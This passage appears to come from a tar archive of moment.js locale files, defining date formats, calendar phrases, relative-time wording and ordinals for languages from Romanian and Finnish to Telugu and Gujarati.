'So_Mo_Di_Mi_Do_Fr_Sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT: 'HH:mm', LTS: 'HH:mm:ss', L : 'DD.MM.YYYY', LL : 'D. MMMM YYYY', LLL : 'D. MMMM YYYY HH:mm', LLLL : 'dddd, D. MMMM YYYY HH:mm' }, calendar : { sameDay: '[heute um] LT [Uhr]', sameElse: 'L', nextDay: '[morgen um] LT [Uhr]', nextWeek: 'dddd [um] LT [Uhr]', lastDay: '[gestern um] LT [Uhr]', lastWeek: '[letzten] dddd [um] LT [Uhr]' }, relativeTime : { future : 'in %s', past : 'vor %s', s : 'ein paar Sekunden', ss : '%d Sekunden', m : processRelativeTime, mm : '%d Minuten', h : processRelativeTime, hh : '%d Stunden', d : processRelativeTime, dd : processRelativeTime, M : processRelativeTime, MM : processRelativeTime, y : processRelativeTime, yy : processRelativeTime }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ro.js000064400000004267151677412300007000 0ustar00//! moment.js locale configuration //! locale : Romanian [ro] //! author : Vlad Gurdiga : https://github.com/gurdiga //! author : Valentin Agachi : https://github.com/avaly import moment from '../moment'; function relativeTimeWithPlural(number, withoutSuffix, key) { var format = { 'ss': 'secunde', 'mm': 'minute', 'hh': 'ore', 'dd': 'zile', 'MM': 'luni', 'yy': 'ani' }, separator = ' '; if (number % 100 >= 20 || (number >= 100 && number % 100 === 0)) { separator = ' de '; } return number + separator + format[key]; } export default moment.defineLocale('ro', { months : 'ianuarie_februarie_martie_aprilie_mai_iunie_iulie_august_septembrie_octombrie_noiembrie_decembrie'.split('_'), monthsShort : 'ian._febr._mart._apr._mai_iun._iul._aug._sept._oct._nov._dec.'.split('_'), monthsParseExact: true, weekdays : 'duminică_luni_marți_miercuri_joi_vineri_sâmbătă'.split('_'), weekdaysShort : 'Dum_Lun_Mar_Mie_Joi_Vin_Sâm'.split('_'), weekdaysMin : 'Du_Lu_Ma_Mi_Jo_Vi_Sâ'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY H:mm', LLLL : 'dddd, D MMMM YYYY H:mm' }, calendar : { sameDay: '[azi la] LT', nextDay: '[mâine la] LT', nextWeek: 'dddd [la] LT', lastDay: '[ieri la] LT', lastWeek: '[fosta] dddd [la] LT', sameElse: 'L' }, relativeTime : { future : 'peste %s', past : '%s în urmă', s : 'câteva secunde', ss : relativeTimeWithPlural, m : 'un minut', mm : relativeTimeWithPlural, h : 'o oră', hh : relativeTimeWithPlural, d : 'o zi', dd : relativeTimeWithPlural, M : 'o lună', MM : relativeTimeWithPlural, y : 'un an', yy : relativeTimeWithPlural }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/fr-ca.js000064400000004160151677412300007340 0ustar00//! moment.js locale configuration //! locale : French (Canada) [fr-ca] //! author : Jonathan Abourbih : https://github.com/jonbca import moment from '../moment'; export default moment.defineLocale('fr-ca', { months : 'janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre'.split('_'), monthsShort : 'janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.'.split('_'), monthsParseExact : true, weekdays : 'dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi'.split('_'), weekdaysShort : 'dim._lun._mar._mer._jeu._ven._sam.'.split('_'), weekdaysMin : 'di_lu_ma_me_je_ve_sa'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'YYYY-MM-DD', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Aujourd’hui à] LT', nextDay : '[Demain à] LT', nextWeek : 'dddd [à] LT', lastDay : '[Hier à] LT', lastWeek : 'dddd [dernier à] LT', sameElse : 'L' }, relativeTime : { future : 'dans %s', past : 'il y a %s', s : 'quelques secondes', ss : '%d secondes', m : 'une minute', mm : '%d minutes', h : 'une heure', hh : '%d heures', d : 'un jour', dd : '%d jours', M : 'un mois', MM : '%d mois', y : 'un an', yy : '%d ans' }, dayOfMonthOrdinalParse: /\d{1,2}(er|e)/, ordinal : function (number, period) { switch (period) { // Words with masculine grammatical gender: mois, trimestre, jour default: case 'M': case 'Q': case 'D': case 'DDD': case 'd': return number + (number === 1 ? 'er' : 'e'); // Words with feminine grammatical gender: semaine case 'w': case 'W': return number + (number === 1 ? 're' : 'e'); } } }); locale/en-nz.js000064400000003660151677412300007403 0ustar00//! moment.js locale configuration //! locale : English (New Zealand) [en-nz] //! author : Luke McGregor : https://github.com/lukemcgregor import moment from '../moment'; export default moment.defineLocale('en-nz', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY h:mm A', LLLL : 'dddd, D MMMM YYYY h:mm A' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/nl-be.js000064400000006022151677412300007344 0ustar00//! moment.js locale configuration //! locale : Dutch (Belgium) [nl-be] //! author : Joris Röling : https://github.com/jorisroling //! author : Jacob Middag : https://github.com/middagj import moment from '../moment'; var monthsShortWithDots = 'jan._feb._mrt._apr._mei_jun._jul._aug._sep._okt._nov._dec.'.split('_'), monthsShortWithoutDots = 'jan_feb_mrt_apr_mei_jun_jul_aug_sep_okt_nov_dec'.split('_'); var monthsParse = [/^jan/i, /^feb/i, /^maart|mrt.?$/i, /^apr/i, /^mei$/i, /^jun[i.]?$/i, /^jul[i.]?$/i, /^aug/i, /^sep/i, /^okt/i, /^nov/i, /^dec/i]; var monthsRegex = /^(januari|februari|maart|april|mei|april|ju[nl]i|augustus|september|oktober|november|december|jan\.?|feb\.?|mrt\.?|apr\.?|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i; export default moment.defineLocale('nl-be', { months : 'januari_februari_maart_april_mei_juni_juli_augustus_september_oktober_november_december'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortWithDots; } else if (/-MMM-/.test(format)) { return monthsShortWithoutDots[m.month()]; } else { return monthsShortWithDots[m.month()]; } }, monthsRegex: monthsRegex, monthsShortRegex: monthsRegex, monthsStrictRegex: /^(januari|februari|maart|mei|ju[nl]i|april|augustus|september|oktober|november|december)/i, monthsShortStrictRegex: /^(jan\.?|feb\.?|mrt\.?|apr\.?|mei|ju[nl]\.?|aug\.?|sep\.?|okt\.?|nov\.?|dec\.?)/i, monthsParse : monthsParse, longMonthsParse : monthsParse, shortMonthsParse : monthsParse, weekdays : 'zondag_maandag_dinsdag_woensdag_donderdag_vrijdag_zaterdag'.split('_'), weekdaysShort : 'zo._ma._di._wo._do._vr._za.'.split('_'), weekdaysMin : 'zo_ma_di_wo_do_vr_za'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[vandaag om] LT', nextDay: '[morgen om] LT', nextWeek: 'dddd [om] LT', lastDay: '[gisteren om] LT', lastWeek: '[afgelopen] dddd [om] LT', sameElse: 'L' }, relativeTime : { future : 'over %s', past : '%s geleden', s : 'een paar seconden', ss : '%d seconden', m : 'één minuut', mm : '%d minuten', h : 'één uur', hh : '%d uur', d : 'één dag', dd : '%d dagen', M : 'één maand', MM : '%d maanden', y : 'één jaar', yy : '%d jaar' }, dayOfMonthOrdinalParse: /\d{1,2}(ste|de)/, ordinal : function (number) { return number + ((number === 1 || number === 8 || number >= 20) ? 'ste' : 'de'); }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/mk.js000064400000005710151677412300006761 0ustar00//! moment.js locale configuration //! locale : Macedonian [mk] //! author : Borislav Mickov : https://github.com/B0k0 import moment from '../moment'; export default moment.defineLocale('mk', { months : 'јануари_февруари_март_април_мај_јуни_јули_август_септември_октомври_ноември_декември'.split('_'), monthsShort : 'јан_фев_мар_апр_мај_јун_јул_авг_сеп_окт_ное_дек'.split('_'), weekdays : 'недела_понеделник_вторник_среда_четврток_петок_сабота'.split('_'), weekdaysShort : 'нед_пон_вто_сре_чет_пет_саб'.split('_'), weekdaysMin : 'нe_пo_вт_ср_че_пе_сa'.split('_'), longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'D.MM.YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY H:mm', LLLL : 'dddd, D MMMM YYYY H:mm' }, calendar : { sameDay : '[Денес во] LT', nextDay : '[Утре во] LT', nextWeek : '[Во] dddd [во] LT', lastDay : '[Вчера во] LT', lastWeek : function () { switch (this.day()) { case 0: case 3: case 6: return '[Изминатата] dddd [во] LT'; case 1: case 2: case 4: case 5: return '[Изминатиот] dddd [во] LT'; } }, sameElse : 'L' }, relativeTime : { future : 'после %s', past : 'пред %s', s : 'неколку секунди', ss : '%d секунди', m : 'минута', mm : '%d минути', h : 'час', hh : '%d часа', d : 'ден', dd : '%d дена', M : 'месец', MM : '%d месеци', y : 'година', yy : '%d години' }, dayOfMonthOrdinalParse: /\d{1,2}-(ев|ен|ти|ви|ри|ми)/, ordinal : function (number) { var lastDigit = number % 10, last2Digits = number % 100; if (number === 0) { return number + '-ев'; } else if (last2Digits === 0) { return number + '-ен'; } else if (last2Digits > 10 && last2Digits < 20) { return number + '-ти'; } else if (lastDigit === 1) { return number + '-ви'; } else if (lastDigit === 2) { return number + '-ри'; } else if (lastDigit === 7 || lastDigit === 8) { return number + '-ми'; } else { return number + '-ти'; } }, week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/es-us.js000064400000005073151677412300007410 0ustar00//! moment.js locale configuration //! locale : Spanish (United States) [es-us] //! author : bustta : https://github.com/bustta import moment from '../moment'; var monthsShortDot = 'ene._feb._mar._abr._may._jun._jul._ago._sep._oct._nov._dic.'.split('_'), monthsShort = 'ene_feb_mar_abr_may_jun_jul_ago_sep_oct_nov_dic'.split('_'); export default moment.defineLocale('es-us', { months : 'enero_febrero_marzo_abril_mayo_junio_julio_agosto_septiembre_octubre_noviembre_diciembre'.split('_'), monthsShort : function (m, format) { if (!m) { return monthsShortDot; } else if (/-MMM-/.test(format)) { return monthsShort[m.month()]; } else { return monthsShortDot[m.month()]; } }, monthsParseExact : true, weekdays : 'domingo_lunes_martes_miércoles_jueves_viernes_sábado'.split('_'), weekdaysShort : 'dom._lun._mar._mié._jue._vie._sáb.'.split('_'), weekdaysMin : 'do_lu_ma_mi_ju_vi_sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'h:mm A', LTS : 'h:mm:ss A', L : 'MM/DD/YYYY', LL : 'MMMM [de] D [de] YYYY', LLL : 'MMMM [de] D [de] YYYY h:mm A', LLLL : 'dddd, MMMM [de] D [de] YYYY h:mm A' }, calendar : { sameDay : function () { return '[hoy a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextDay : function () { return '[mañana a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, nextWeek : function () { return 'dddd [a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastDay : function () { return '[ayer a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, lastWeek : function () { return '[el] dddd [pasado a la' + ((this.hours() !== 1) ? 's' : '') + '] LT'; }, sameElse : 'L' }, relativeTime : { future : 'en %s', past : 'hace %s', s : 'unos segundos', ss : '%d segundos', m : 'un minuto', mm : '%d minutos', h : 'una hora', hh : '%d horas', d : 'un día', dd : '%d días', M : 'un mes', MM : '%d meses', y : 'un año', yy : '%d años' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal : '%dº', week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/fi.js000064400000006730151677412300006753 0ustar00//! moment.js locale configuration //! locale : Finnish [fi] //! author : Tarmo Aidantausta : https://github.com/bleadof import moment from '../moment'; var numbersPast = 'nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän'.split(' '), numbersFuture = [ 'nolla', 'yhden', 'kahden', 'kolmen', 'neljän', 'viiden', 'kuuden', numbersPast[7], numbersPast[8], numbersPast[9] ]; function translate(number, withoutSuffix, key, isFuture) { var result = ''; switch (key) { case 's': return isFuture ? 'muutaman sekunnin' : 'muutama sekunti'; case 'ss': return isFuture ? 'sekunnin' : 'sekuntia'; case 'm': return isFuture ? 'minuutin' : 'minuutti'; case 'mm': result = isFuture ? 'minuutin' : 'minuuttia'; break; case 'h': return isFuture ? 'tunnin' : 'tunti'; case 'hh': result = isFuture ? 'tunnin' : 'tuntia'; break; case 'd': return isFuture ? 'päivän' : 'päivä'; case 'dd': result = isFuture ? 'päivän' : 'päivää'; break; case 'M': return isFuture ? 'kuukauden' : 'kuukausi'; case 'MM': result = isFuture ? 'kuukauden' : 'kuukautta'; break; case 'y': return isFuture ? 'vuoden' : 'vuosi'; case 'yy': result = isFuture ? 'vuoden' : 'vuotta'; break; } result = verbalNumber(number, isFuture) + ' ' + result; return result; } function verbalNumber(number, isFuture) { return number < 10 ? (isFuture ? numbersFuture[number] : numbersPast[number]) : number; } export default moment.defineLocale('fi', { months : 'tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu'.split('_'), monthsShort : 'tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu'.split('_'), weekdays : 'sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai'.split('_'), weekdaysShort : 'su_ma_ti_ke_to_pe_la'.split('_'), weekdaysMin : 'su_ma_ti_ke_to_pe_la'.split('_'), longDateFormat : { LT : 'HH.mm', LTS : 'HH.mm.ss', L : 'DD.MM.YYYY', LL : 'Do MMMM[ta] YYYY', LLL : 'Do MMMM[ta] YYYY, [klo] HH.mm', LLLL : 'dddd, Do MMMM[ta] YYYY, [klo] HH.mm', l : 'D.M.YYYY', ll : 'Do MMM YYYY', lll : 'Do MMM YYYY, [klo] HH.mm', llll : 'ddd, Do MMM YYYY, [klo] HH.mm' }, calendar : { sameDay : '[tänään] [klo] LT', nextDay : '[huomenna] [klo] LT', nextWeek : 'dddd [klo] LT', lastDay : '[eilen] [klo] LT', lastWeek : '[viime] dddd[na] [klo] LT', sameElse : 'L' }, relativeTime : { future : '%s päästä', past : '%s sitten', s : translate, ss : translate, m : translate, mm : translate, h : translate, hh : translate, d : translate, dd : translate, M : translate, MM : translate, y : translate, yy : translate }, dayOfMonthOrdinalParse: /\d{1,2}\./, ordinal : '%d.', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/cv.js000064400000004413151677412300006761 0ustar00//! moment.js locale configuration //! locale : Chuvash [cv] //! author : Anatoly Mironov : https://github.com/mirontoli import moment from '../moment'; export default moment.defineLocale('cv', { months : 'кӑрлач_нарӑс_пуш_ака_май_ҫӗртме_утӑ_ҫурла_авӑн_юпа_чӳк_раштав'.split('_'), monthsShort : 'кӑр_нар_пуш_ака_май_ҫӗр_утӑ_ҫур_авн_юпа_чӳк_раш'.split('_'), weekdays : 'вырсарникун_тунтикун_ытларикун_юнкун_кӗҫнерникун_эрнекун_шӑматкун'.split('_'), weekdaysShort : 'выр_тун_ытл_юн_кӗҫ_эрн_шӑм'.split('_'), weekdaysMin : 'вр_тн_ыт_юн_кҫ_эр_шм'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD-MM-YYYY', LL : 'YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ]', LLL : 'YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm', LLLL : 'dddd, YYYY [ҫулхи] MMMM [уйӑхӗн] D[-мӗшӗ], HH:mm' }, calendar : { sameDay: '[Паян] LT [сехетре]', nextDay: '[Ыран] LT [сехетре]', lastDay: '[Ӗнер] LT [сехетре]', nextWeek: '[Ҫитес] dddd LT [сехетре]', lastWeek: '[Иртнӗ] dddd LT [сехетре]', sameElse: 'L' }, relativeTime : { future : function (output) { var affix = /сехет$/i.exec(output) ? 'рен' : /ҫул$/i.exec(output) ? 'тан' : 'ран'; return output + affix; }, past : '%s каялла', s : 'пӗр-ик ҫеккунт', ss : '%d ҫеккунт', m : 'пӗр минут', mm : '%d минут', h : 'пӗр сехет', hh : '%d сехет', d : 'пӗр кун', dd : '%d кун', M : 'пӗр уйӑх', MM : '%d уйӑх', y : 'пӗр ҫул', yy : '%d ҫул' }, dayOfMonthOrdinalParse: /\d{1,2}-мӗш/, ordinal : '%d-мӗш', week : { dow : 1, // Monday is the first day of the week. doy : 7 // The week that contains Jan 1st is the first week of the year. } }); locale/gl.js000064400000004523151677412300006755 0ustar00//! moment.js locale configuration //! locale : Galician [gl] //! author : Juan G. Hurtado : https://github.com/juanghurtado import moment from '../moment'; export default moment.defineLocale('gl', { months : 'xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro'.split('_'), monthsShort : 'xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.'.split('_'), monthsParseExact: true, weekdays : 'domingo_luns_martes_mércores_xoves_venres_sábado'.split('_'), weekdaysShort : 'dom._lun._mar._mér._xov._ven._sáb.'.split('_'), weekdaysMin : 'do_lu_ma_mé_xo_ve_sá'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'H:mm', LTS : 'H:mm:ss', L : 'DD/MM/YYYY', LL : 'D [de] MMMM [de] YYYY', LLL : 'D [de] MMMM [de] YYYY H:mm', LLLL : 'dddd, D [de] MMMM [de] YYYY H:mm' }, calendar : { sameDay : function () { return '[hoxe ' + ((this.hours() !== 1) ? 'ás' : 'á') + '] LT'; }, nextDay : function () { return '[mañá ' + ((this.hours() !== 1) ? 'ás' : 'á') + '] LT'; }, nextWeek : function () { return 'dddd [' + ((this.hours() !== 1) ? 'ás' : 'a') + '] LT'; }, lastDay : function () { return '[onte ' + ((this.hours() !== 1) ? 'á' : 'a') + '] LT'; }, lastWeek : function () { return '[o] dddd [pasado ' + ((this.hours() !== 1) ? 'ás' : 'a') + '] LT'; }, sameElse : 'L' }, relativeTime : { future : function (str) { if (str.indexOf('un') === 0) { return 'n' + str; } return 'en ' + str; }, past : 'hai %s', s : 'uns segundos', ss : '%d segundos', m : 'un minuto', mm : '%d minutos', h : 'unha hora', hh : '%d horas', d : 'un día', dd : '%d días', M : 'un mes', MM : '%d meses', y : 'un ano', yy : '%d anos' }, dayOfMonthOrdinalParse : /\d{1,2}º/, ordinal : '%dº', week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/en-gb.js000064400000003657151677412300007352 0ustar00//! moment.js locale configuration //! locale : English (United Kingdom) [en-gb] //! author : Chris Gedrim : https://github.com/chrisgedrim import moment from '../moment'; export default moment.defineLocale('en-gb', { months : 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_'), monthsShort : 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_'), weekdays : 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_'), weekdaysShort : 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_'), weekdaysMin : 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd, D MMMM YYYY HH:mm' }, calendar : { sameDay : '[Today at] LT', nextDay : '[Tomorrow at] LT', nextWeek : 'dddd [at] LT', lastDay : '[Yesterday at] LT', lastWeek : '[Last] dddd [at] LT', sameElse : 'L' }, relativeTime : { future : 'in %s', past : '%s ago', s : 'a few seconds', ss : '%d seconds', m : 'a minute', mm : '%d minutes', h : 'an hour', hh : '%d hours', d : 'a day', dd : '%d days', M : 'a month', MM : '%d months', y : 'a year', yy : '%d years' }, dayOfMonthOrdinalParse: /\d{1,2}(st|nd|rd|th)/, ordinal : function (number) { var b = number % 10, output = (~~(number % 100 / 10) === 1) ? 'th' : (b === 1) ? 'st' : (b === 2) ? 'nd' : (b === 3) ? 'rd' : 'th'; return number + output; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/tl-ph.js000064400000003376151677412300007404 0ustar00//! moment.js locale configuration //! locale : Tagalog (Philippines) [tl-ph] //! author : Dan Hagman : https://github.com/hagmandan import moment from '../moment'; export default moment.defineLocale('tl-ph', { months : 'Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre'.split('_'), monthsShort : 'Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis'.split('_'), weekdays : 'Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado'.split('_'), weekdaysShort : 'Lin_Lun_Mar_Miy_Huw_Biy_Sab'.split('_'), weekdaysMin : 'Li_Lu_Ma_Mi_Hu_Bi_Sab'.split('_'), longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'MM/D/YYYY', LL : 'MMMM D, YYYY', LLL : 'MMMM D, YYYY HH:mm', LLLL : 'dddd, MMMM DD, YYYY HH:mm' }, calendar : { sameDay: 'LT [ngayong araw]', nextDay: '[Bukas ng] LT', nextWeek: 'LT [sa susunod na] dddd', lastDay: 'LT [kahapon]', lastWeek: 'LT [noong nakaraang] dddd', sameElse: 'L' }, relativeTime : { future : 'sa loob ng %s', past : '%s ang nakalipas', s : 'ilang segundo', ss : '%d segundo', m : 'isang minuto', mm : '%d minuto', h : 'isang oras', hh : '%d oras', d : 'isang araw', dd : '%d araw', M : 'isang buwan', MM : '%d buwan', y : 'isang taon', yy : '%d taon' }, dayOfMonthOrdinalParse: /\d{1,2}/, ordinal : function (number) { return number; }, week : { dow : 1, // Monday is the first day of the week. doy : 4 // The week that contains Jan 4th is the first week of the year. } }); locale/ar-ma.js000064400000003755151677412300007356 0ustar00//! moment.js locale configuration //! locale : Arabic (Morocco) [ar-ma] //! author : ElFadili Yassine : https://github.com/ElFadiliY //! author : Abdel Said : https://github.com/abdelsaid import moment from '../moment'; export default moment.defineLocale('ar-ma', { months : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'), monthsShort : 'يناير_فبراير_مارس_أبريل_ماي_يونيو_يوليوز_غشت_شتنبر_أكتوبر_نونبر_دجنبر'.split('_'), weekdays : 'الأحد_الإتنين_الثلاثاء_الأربعاء_الخميس_الجمعة_السبت'.split('_'), weekdaysShort : 'احد_اتنين_ثلاثاء_اربعاء_خميس_جمعة_سبت'.split('_'), weekdaysMin : 'ح_ن_ث_ر_خ_ج_س'.split('_'), weekdaysParseExact : true, longDateFormat : { LT : 'HH:mm', LTS : 'HH:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY HH:mm', LLLL : 'dddd D MMMM YYYY HH:mm' }, calendar : { sameDay: '[اليوم على الساعة] LT', nextDay: '[غدا على الساعة] LT', nextWeek: 'dddd [على الساعة] LT', lastDay: '[أمس على الساعة] LT', lastWeek: 'dddd [على الساعة] LT', sameElse: 'L' }, relativeTime : { future : 'في %s', past : 'منذ %s', s : 'ثوان', ss : '%d ثانية', m : 'دقيقة', mm : '%d دقائق', h : 'ساعة', hh : '%d ساعات', d : 'يوم', dd : '%d أيام', M : 'شهر', MM : '%d أشهر', y : 'سنة', yy : '%d سنوات' }, week : { dow : 6, // Saturday is the first day of the week. doy : 12 // The week that contains Jan 1st is the first week of the year. } }); locale/te.js000064400000006562151677412300006770 0ustar00//! moment.js locale configuration //! locale : Telugu [te] //! author : Krishna Chaitanya Thota : https://github.com/kcthota import moment from '../moment'; export default moment.defineLocale('te', { months : 'జనవరి_ఫిబ్రవరి_మార్చి_ఏప్రిల్_మే_జూన్_జూలై_ఆగస్టు_సెప్టెంబర్_అక్టోబర్_నవంబర్_డిసెంబర్'.split('_'), monthsShort : 'జన._ఫిబ్ర._మార్చి_ఏప్రి._మే_జూన్_జూలై_ఆగ._సెప్._అక్టో._నవ._డిసె.'.split('_'), monthsParseExact : true, weekdays : 'ఆదివారం_సోమవారం_మంగళవారం_బుధవారం_గురువారం_శుక్రవారం_శనివారం'.split('_'), weekdaysShort : 'ఆది_సోమ_మంగళ_బుధ_గురు_శుక్ర_శని'.split('_'), weekdaysMin : 'ఆ_సో_మం_బు_గు_శు_శ'.split('_'), longDateFormat : { LT : 'A h:mm', LTS : 'A h:mm:ss', L : 'DD/MM/YYYY', LL : 'D MMMM YYYY', LLL : 'D MMMM YYYY, A h:mm', LLLL : 'dddd, D MMMM YYYY, A h:mm' }, calendar : { sameDay : '[నేడు] LT', nextDay : '[రేపు] LT', nextWeek : 'dddd, LT', lastDay : '[నిన్న] LT', lastWeek : '[గత] dddd, LT', sameElse : 'L' }, relativeTime : { future : '%s లో', past : '%s క్రితం', s : 'కొన్ని క్షణాలు', ss : '%d సెకన్లు', m : 'ఒక నిమిషం', mm : '%d నిమిషాలు', h : 'ఒక గంట', hh : '%d గంటలు', d : 'ఒక రోజు', dd : '%d రోజులు', M : 'ఒక నెల', MM : '%d నెలలు', y : 'ఒక సంవత్సరం', yy : '%d సంవత్సరాలు' }, dayOfMonthOrdinalParse : /\d{1,2}వ/, ordinal : '%dవ', meridiemParse: /రాత్రి|ఉదయం|మధ్యాహ్నం|సాయంత్రం/, meridiemHour : function (hour, meridiem) { if (hour === 12) { hour = 0; } if (meridiem === 'రాత్రి') { return hour < 4 ? hour : hour + 12; } else if (meridiem === 'ఉదయం') { return hour; } else if (meridiem === 'మధ్యాహ్నం') { return hour >= 10 ? hour : hour + 12; } else if (meridiem === 'సాయంత్రం') { return hour + 12; } }, meridiem : function (hour, minute, isLower) { if (hour < 4) { return 'రాత్రి'; } else if (hour < 10) { return 'ఉదయం'; } else if (hour < 17) { return 'మధ్యాహ్నం'; } else if (hour < 20) { return 'సాయంత్రం'; } else { return 'రాత్రి'; } }, week : { dow : 0, // Sunday is the first day of the week. doy : 6 // The week that contains Jan 1st is the first week of the year. } }); locale/gu.js000064400000010152151677412300006761 0ustar00//! moment.js locale configuration //! locale : Gujarati [gu] //! author : Kaushik Thanki : https://github.com/Kaushik1987 import moment from '../moment'; var symbolMap = { '1': '૧', '2': '૨', '3': '૩', '4': '૪', '5': '૫', '6': '૬', '7': '૭', '8': '૮', '9': '૯', '0': '૦' }, numberMap = { '૧': '1', '૨': '2', '૩': '3', '૪': '4', '૫': '5', '૬': '6', '૭': '7', '૮': '8', '૯': '9', '૦': '0' }; export default moment.defineLocale('gu', { months: 'જાન્યુઆરી_ફેબ્રુઆરી_માર્ચ_એપ્રિલ_મે_જૂન_જુલાઈ_ઑગસ્ટ_સપ્ટેમ્બર_ઑક્ટ્બર_નવેમ્બર_ડિસેમ્બર'.split('_'), monthsShort: 'જાન્યુ._ફેબ્રુ._માર્ચ_એપ્રિ._મે_જૂન_જુલા._ઑગ._સપ્ટે._ઑક્ટ્._નવે._ડિસે.'.split('_'), monthsParseExact: true, weekdays: 'રવિવાર_સોમવાર_મંગળવાર_બુધ્વાર_ગુરુવાર_શુક્રવાર_શનિવાર'.split('_'), weekdaysShort: 'રવિ_સોમ_મંગળ_બુધ્_ગુરુ_શુક્ર_શનિ'.split('_'), weekdaysMin: 'ર_સો_મં_બુ_ગુ_શુ_શ'.split('_'), longDateFormat: { LT: 'A h:mm વાગ્યે', LTS: 'A h:mm:ss વાગ્યે', L: 'DD/MM/YYYY', LL: 'D MMMM YYYY', LLL: 'D MMMM YYYY, A h:mm વાગ્યે', LLLL: 'dddd, D MMMM YYYY, A h:mm વાગ્યે' }, calendar: { sameDay: '[આજ] LT', nextDay: '[કાલે] LT', nextWeek: 'dddd, LT', lastDay: '[ગઇકાલે] LT', lastWeek: '[પાછલા] dddd, LT', 